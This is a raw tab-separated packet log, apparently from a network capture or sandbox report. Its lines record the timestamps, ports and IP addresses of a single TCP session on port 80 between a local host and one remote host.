Oct 31, 2024 04:16:09.998049974 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998065948 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998099089 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998107910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998122931 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998137951 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998150110 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998152971 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998169899 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998177052 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998194933 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998223066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998224020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998255968 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998261929 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998272896 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998289108 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998296022 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998306036 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998311043 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998332977 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998341084 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998393059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998408079 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998421907 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998434067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998436928 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998445034 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998449087 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998465061 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998467922 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998492002 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998516083 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998533010 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998547077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998560905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998574972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998588085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998590946 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998604059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998614073 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998619080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998636007 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998657942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998666048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998730898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998745918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998760939 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998775005 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998775959 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998795986 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998859882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998862028 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998876095 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998893023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998898029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998908043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998924971 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998929024 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998940945 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998960018 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998977900 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998982906 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999017954 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999028921 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999043941 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999058962 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999073982 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999083042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999103069 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999126911 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999166965 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999181986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999188900 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999203920 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999212980 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999218941 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999236107 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999236107 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999252081 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999257088 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999267101 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999278069 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999289036 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999308109 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999320984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999475956 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999490976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999505043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999519110 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999526024 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999535084 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999545097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999551058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999567032 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999572992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999583006 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999593019 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999598026 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999614000 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999614954 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999630928 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999635935 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999649048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999660015 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999666929 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999686003 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999722958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999737978 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999752045 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999767065 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999772072 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999774933 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999788046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999803066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999803066 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999803066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999820948 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999835014 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999861002 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999876976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999891996 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999907970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999917030 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999924898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999938965 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.999946117 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999962091 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999985933 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.999991894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000006914 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000032902 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000040054 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000125885 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000140905 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000154972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000165939 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000175953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000181913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000184059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000186920 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000191927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000193119 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000209093 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000214100 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000225067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000241041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000245094 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000263929 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000279903 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000320911 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000335932 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000364065 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000370026 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000371933 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000385046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000401974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000416994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000427008 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000433922 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000452995 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000504017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000518084 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000534058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000540972 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000549078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000555992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000567913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000572920 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000575066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000580072 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000580072 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000600100 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000618935 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.000642061 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000654936 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.000698090 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.067765951 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.067792892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.067807913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.067864895 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.067882061 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.067897081 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.067903996 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.067914009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.067936897 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.067950010 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.067960024 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.067965984 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.067991018 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.067998886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068001986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068017960 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068033934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068048954 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068057060 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068087101 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068109989 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068305969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068337917 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068351984 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068361044 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068372965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068388939 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068419933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068435907 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068450928 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068459988 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068480968 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068486929 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068727016 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068742990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068762064 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068775892 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068789005 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068829060 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068829060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068845987 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068861008 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068882942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068885088 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068902969 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068933010 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.068955898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068977118 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.068991899 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069006920 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069010019 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069010019 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069022894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069026947 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069041014 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069062948 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069084883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069099903 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069114923 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069130898 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069145918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069147110 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069170952 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069183111 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069215059 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069227934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069256067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069257975 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069269896 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069279909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069293976 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069293976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069318056 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069329023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069334030 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069345951 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069360971 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069367886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069377899 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069386959 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069395065 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069406033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069412947 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069432020 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069438934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069453955 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069468975 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069478035 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069484949 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069499016 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069509983 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069529057 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069533110 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069547892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069561958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069577932 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069593906 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069612980 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069619894 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069674969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069689035 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069703102 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069719076 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069721937 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069735050 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069741964 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069766998 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069773912 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069789886 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069792032 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069814920 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069820881 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069822073 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069839001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069863081 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069864035 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069869995 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069890022 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069902897 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069905043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069921970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069925070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069936991 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069947004 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069953918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.069960117 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069978952 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.069998026 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.113776922 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.113799095 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.113833904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.113858938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.113883972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.113884926 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.113909960 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.113924980 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.113933086 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.113950014 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.113962889 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.113964081 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.113991022 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.113998890 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114001989 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114017963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114048958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114063978 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114065886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114095926 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114105940 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114110947 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114126921 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114136934 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114155054 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114161968 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114180088 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114188910 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114212036 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114275932 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114320993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114350080 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114366055 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.114370108 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.114396095 CET	49814	80	192.168.2.4	185.215.113.16
